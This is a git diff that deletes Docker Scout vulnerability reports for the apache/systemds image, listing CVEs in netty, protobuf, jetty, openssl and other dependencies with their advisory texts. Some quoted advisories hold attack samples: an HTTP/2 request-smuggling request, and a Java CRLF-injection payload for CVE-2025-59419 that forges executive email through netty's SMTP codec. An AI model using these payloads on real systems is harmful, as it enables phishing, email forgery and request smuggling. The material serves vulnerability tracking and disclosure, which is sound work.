EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- - -What's next: - View base image update recommendations → docker scout recommendations apache/systemds:latest - diff --git a/docker/scout_results/medium-cves/sysds_output10.md b/docker/scout_results/medium-cves/sysds_output10.md deleted file mode 100644 index d1ace109786..00000000000 --- a/docker/scout_results/medium-cves/sysds_output10.md +++ /dev/null @@ -1,1592 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:436a28002134fa710cdc2c9fb6b8cd4a4e7abc085e4b97607a445898e2eec86c
vulnerabilitiescritical: 1 high: 10 medium: 26 low: 7 unspecified: 1
platformlinux/amd64
size370 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
